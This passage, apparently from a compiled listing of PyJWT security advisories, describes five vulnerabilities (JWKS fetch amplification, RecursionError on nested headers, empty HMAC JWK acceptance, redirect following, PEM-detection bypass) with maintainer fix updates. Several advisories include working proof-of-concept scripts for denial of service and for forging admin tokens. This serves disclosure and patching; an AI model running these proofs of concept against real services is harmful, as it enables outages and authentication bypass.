[https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-gvp8-978c-rx2q](https://github.com/advisories/GHSA-gvp8-978c-rx2q) - [https://nvd.nist.gov/vuln/detail/CVE-2026-103001](https://nvd.nist.gov/vuln/detail/CVE-2026-103001) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4146) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524) [CVE-2026-101917](https://nvd.nist.gov/vuln/detail/CVE-2026-101917) / [GHSA-2gx3-rcp4-g85q](https://github.com/advisories/GHSA-2gx3-rcp4-g85q) / PYSEC-2026-4140 <details> <summary>More information</summary> #### Details Summary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids. At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call. Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet. Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before) Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache. Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix. Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches. Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed. Reported by Babakizo (Securva). ##### Maintainer update — 2026-09-10 The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching enabled, an unknown `kid` previously forced an unconditional JWKS refresh, including when the same unknown value was repeated while the cached key set was still valid. This allowed unauthenticated token headers to cause unnecessary outbound JWKS requests and repeated parsing work. The fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a 30-second cooldown after successful JWKS fetches before permitting another unknown-`kid` refresh, serializes concurrent refresh decisions per client, and allows callers to configure or disable the cooldown. Cache-disabled behavior and immediate retry after failed fetches remain unchanged. Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101917](https://nvd.nist.gov/vuln/detail/CVE-2026-101917) - [https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1](https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2gx3-rcp4-g85q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header [CVE-2026-102265](https://nvd.nist.gov/vuln/detail/CVE-2026-102265) / [GHSA-8wjv-2p76-3863](https://github.com/advisories/GHSA-8wjv-2p76-3863) / PYSEC-2026-4142 <details> <summary>More information</summary> #### Details ##### Package pyjwt (PyPI) ##### Affected versions tested & verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected ##### Description `PyJWS._looad()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except ValueError as e: raise DecodeError(...)`. That is what makes the documented contract sufficient for untrusted input: `except jwt.PyJWTError` (or `InvalidTokenError`) around `jwt.decode(token, key, algorithms=[...])`. CPython's JSON decoder raises `RecursionError` (a `RuntimeError` subclass, not a `ValueError`) once nesting crosses the native stack guard. That exception leaves `_load()`, then `jwt.decode()`, and matches no `PyJWTError` handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices. Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean `DecodeError` (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an `Authorization` header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives. ##### Proof of concept Against any endpoint that validates a token from its JSON body with the documented pattern: ```python import base64, json, http.client def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") ##### unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total) token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode() conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30) conn.request("POST", "/api/protected", body=json.dumps({"token": token}), headers={"Content-Type": "application/json"}) print(conn.getresponse().status) # 500, expected 401 ``` Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a `RecursionError: Stack overflow ... while decoding a JSON array` traceback in the error log. ##### Impact An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure). ##### Fix Catch `RecursionError` alongside `ValueError` in `_load()` and raise `DecodeError`, or parse the header with a nonrecursive, depthbounded parser. ##### Reproduction A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report: ``` cd <package dir> docker compose up -d --build python3 poc_check_then_attack.py docker compose down -v ``` [poc_pyjwt_recursion.zip](https://github.com/user-attachments/files/31614987/poc_pyjwt_recursion.zip) Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in `docker logs`, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's `run_log.txt` documents a complete proof run. ##### Credits - @&#8203;Nivid42 ##### Maintainer update — 2026-09-09 We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches `json.loads()` before signature verification and raises `RecursionError`, which is not a `PyJWTError`. The same input is accepted by the public `jwt.decode()` path and can escape an application's normal `except PyJWTError` handling. The fix is committed as `06573692ebcdec8831c3927513b3e87c31fbbb62`. `PyJWS._load()` now translates both `ValueError` and `RecursionError` from header JSON parsing into `DecodeError`. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips. No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102265](https://nvd.nist.gov/vuln/detail/CVE-2026-102265) - [https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62](https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8wjv-2p76-3863) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation [CVE-2026-102266](https://nvd.nist.gov/vuln/detail/CVE-2026-102266) / [GHSA-9j54-fg26-wv3r](https://github.com/advisories/GHSA-9j54-fg26-wv3r) / PYSEC-2026-4143 <details> <summary>More information</summary> #### Details ##### Summary A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated. PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`. An `oct` JWK containing an empty Base64URL key value: ```json {"kty":"oct","k":""} ``` is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key. An attacker can independently calculate `HMAC-SHA256(b"", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated. The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `"k": ""`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list. ##### Details The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`. ##### Raw empty HMAC keys are rejected [`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key. As a result, an empty raw key is rejected in PyJWT 2.13.0: ```python jwt.decode(token, b"", algorithms=["HS256"]) ``` with `InvalidKeyError`. ##### Empty `oct` JWKs decode to the same key but are accepted [`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs. For: ```json { "kty": "oct", "k": "" } ``` the empty Base64URL value is decoded to: ```python b"" ``` and returned without an emptiness check. [`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`. The resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path. ##### `PyJWK` verification bypasses the raw-key validation [`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects. When a `PyJWK` is supplied, verification uses its already-decoded key directly: ```python prepared_key = key.key ``` The value is not passed through: ```python alg_obj.prepare_key(key.key) ``` so the empty-key check in `HMACAlgorithm.prepare_key` is never reached. The minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification. The verifier therefore receives: ```python b"" ``` as the HS256 key. This creates the following difference for identical cryptographic key material: ```text raw b"" -> HMACAlgorithm.prepare_key -> InvalidKeyError {"kty":"oct","k":""} -> HMACAlgorithm.from_jwk -> b"" -> PyJWK.key -> PyJWS._verify_signature -> HMAC verification with b"" -> accepted ``` Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret. This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required. The issue was reproduced against PyJWT 2.13.0 and commit: ```text 7144e4534c34810f4525dc4578a32addd8212cff ``` which was the tip of the public `master` branch at the time of testing. ##### PoC The following PoC reproduces the issue on PyJWT 2.13.0. It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set. Install PyJWT 2.13.0: ```bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0" ``` Save the following as `poc.py`: ```python import base64 import hashlib import hmac import json import time import warnings import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError def b64u(value: bytes) -> bytes: return base64.urlsafe_b64encode(value).rstrip(b"=") now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signing_input = header + b"." + payload forged = ( signing_input + b"." + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest()) ).decode() jwk = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"] with warnings.catch_warnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, ) assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims) try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted") try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforce_minimum_key_length": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted") real_key = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"] try: with warnings.catch_warnings(): warnings.simplefilter("ignore") jwt.decode(forged, real_key, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery") ``` Run: ```bash python poc.py ``` Observed output: ```text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected ``` The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`. The first control supplies the same key material directly as `b""`. PyJWT 2.13.0 rejects it with `InvalidKeyError`. The second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`. The third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`. I also reproduced the result through the following verification paths: ```python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"]) ``` All accepted an HS256 token whose signature was generated using the zero-length HMAC key. As an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key. ##### Impact This is an authentication bypass caused by inconsistent validation of empty HMAC keys. Affected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled. For example, an application could and produces: ```json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" } ``` when the expected Base64URL secret value is missing. Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b""` and can therefore calculate a valid HMAC for any signing input. The attacker can choose arbitrary claims such as: ```json { "sub": "attacker", "admin": true, "exp": 1787100000 } ``` and produce a signature that PyJWT accepts as valid. Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources. Validation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature. The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N ##### Maintainer update — 2026-09-09 We reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b""`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source. This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths. The fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm's `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered. The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification. The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102266](https://nvd.nist.gov/vuln/detail/CVE-2026-102266) - [https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c](https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9j54-fg26-wv3r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: PyJWKClient follows redirects when fetching JWKS [CVE-2026-102267](https://nvd.nist.gov/vuln/detail/CVE-2026-102267) / [GHSA-9v7f-9g4p-ffgj](https://github.com/advisories/GHSA-9v7f-9g4p-ffgj) / PYSEC-2026-4144 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 `PyJWKClient` followed HTTP redirects while fetching a JWKS, without validating the redirect destination. A configured trusted endpoint could therefore redirect the client to a different host. ##### Impact When an application uses `PyJWKClient` with caller-supplied request headers and an attacker can influence the configured endpoint's response, the redirected request could expose those headers and the redirected response could be used as authoritative key material. This could cause JWKS trust poisoning and, in affected mixed-configuration applications, forged JWT acceptance. The issue requires an attacker-influenced redirect from the configured JWKS endpoint; it is not triggered by a token `kid` alone. ##### Affected versions PyJWT `<= 2.13.0`. ##### Fix The issue is fixed on `master` in commit [`0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56`](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56). `PyJWKClient` now disables automatic redirects for JWKS fetches. Regression tests verify that a redirect is rejected without contacting its destination, while normal fetches, headers, caching, errors, timeouts, and SSL context remain covered. The fix is present in the unreleased development branch. The patched version will be recorded after a released PyJWT 2.x version containing the fix is confirmed. ##### Credit Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect header-leak and cache-poisoning evidence from the newer duplicate report GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this canonical advisory update. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102267](https://nvd.nist.gov/vuln/detail/CVE-2026-102267) - [https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9v7f-9g4p-ffgj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard [CVE-2026-102268](https://nvd.nist.gov/vuln/detail/CVE-2026-102268) / [GHSA-ffc3-869f-jxw9](https://github.com/advisories/GHSA-ffc3-869f-jxw9) / PYSEC-2026-4145 <details> <summary>More information</summary> #### Details **Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time): - The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=["ES256", "HS256"]` (the RFC 8725 footgun the guard exists to backstop). - The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byte-form that `cryptography`'s loader accepts but PyJWT's `is_pem_format` regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling. The attacker additionally needs the public verification key, which is public by definition, and `cryptography` must be installed. The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when `is_pem_format()` recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family. ##### Summary A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's `is_pem_format()` return `False` while `cryptography.load_pem_public_key()` accepts the identical bytes. The asymmetric-key rejection in `HMACAlgorithm.prepare_key` is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid `HS256` token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm. ##### Details At `jwt/algorithms.py:331-335`, `HMACAlgorithm.prepare_key` contains the sole family-mismatch guard: if is_pem_format(key_bytes) or is_ssh_key(key_bytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." ) If neither predicate fires, `:357` returns `key_bytes` unchanged — the PEM text is used directly as the HMAC secret. `is_pem_format` (`jwt/utils.py:116-127`) is `bool(_PEM_RE.search(key))`, where `_PEM_RE` requires `----[- ]BEGIN (...)[- ]----\r?\n`, then `.+?\r?\n`, then the END marker. The LF in each `\r?\n` is mandatory, the markers are anchored directly after a newline, and only `[- ]` is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare `\r` terminators, or folded onto one line is not recognized as PEM. `cryptography`'s `load_pem_public_key` is tolerant of exactly these forms and still returns the key. Reach: `jwt/api_jws.py:386` performs the allow-list check (passes when `HS256` is in the list) and takes the non-`PyJWK` branch to `alg_obj.prepare_key(key)` at `:407`. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret. ##### PoC Vulnerable path: `jwt/algorithms.py:331` (guard gated on `is_pem_format`) -> `is_pem_format` returns `False` for a loader-accepted PEM -> `jwt/algorithms.py:357` returns the public-key bytes as the HMAC secret -> `HS256` verification succeeds. Reproduced on PyJWT 2.13.0 (commit `7144e453`) with `cryptography` 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm `is_pem_format` now returns `False` while `cryptography` still loads the bytes, then verify a token signed `alg=HS256` with the public-key text as the HMAC secret, under `algorithms=["ES256","HS256"]` (resp. `["RS256","HS256"]`). Observed output: pyjwt 2.13.0 ec canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError ec marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) ec CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) ec folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa canonical (control) is_pem_format=True crypto_loads=True forgery=BLOCKED:InvalidKeyError rsa marker-adjacent (tab before END) is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa CR-only terminators is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) rsa folded single-line is_pem_format=False crypto_loads=True forgery=FORGED(superadmin) [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError RESULT: ALL-INVARIANTS-HOLD Each mutated form on both key types forged a token accepted as `superadmin`. Controls: the unmodified PEM is correctly rejected with `InvalidKeyError` (the guard works and the mutation is load-bearing); a single-algorithm allow-list `["ES256"]` rejects the forged `HS256` token with `InvalidAlgorithmError` (the mixed allow-list is a necessary precondition). Steps to reproduce: 1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM. 2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before `-----END`, convert terminators to bare `\r`, or join all lines into one. 3. Confirm `jwt.utils.is_pem_format(mutated) is False` and `cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated)` succeeds. 4. `jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256")`, then `jwt.decode(token, mutated, algorithms=["ES256","HS256"])` — verification succeeds. ##### Impact Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The `PyJWK` verification path binds a single algorithm and is unaffected; 